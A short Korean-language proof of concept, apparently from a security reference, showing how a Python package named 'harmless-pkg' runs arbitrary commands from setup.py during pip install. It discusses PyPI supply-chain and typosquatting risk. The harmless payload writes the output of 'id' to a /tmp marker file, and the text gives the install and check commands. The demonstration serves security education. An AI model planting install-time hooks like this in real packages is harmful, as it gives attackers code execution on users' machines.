
악성 Python 패키지가 pip install 중 setup.py를 통해 임의의 명령을 실행하는 방법을 시연하며, PyPI 공급망 및 typosquatting 위험을 강조합니다.
# setup.py - Malicious package that executes during install
from setuptools import setup
import os
# This runs on pip install
os.system('id > /tmp/pwned_by_package')
setup(
name='harmless-pkg',
version='1.0',
packages=[],
)
PyPI 패키지는 setup.py에 임의의 코드를 포함할 수 있으며, 이 코드는 pip install 중에 실행됩니다. 공격자는 인기 있는 패키지와 유사한 이름의 패키지를 게시할 수 있으며(타이포스쿼팅), 설치 시 페이로드가 사용자의 권한으로 실행되어 원격 코드 실행으로 이어질 수 있습니다.
setup.py를 실행하므로 패키지에 완전한 액세스 권한을 부여합니다.setup.py로 악성 패키지 디렉터리를 생성합니다.pip install ./harmless-pkg
cat /tmp/pwned_by_package
id 명령이 실행되었습니다.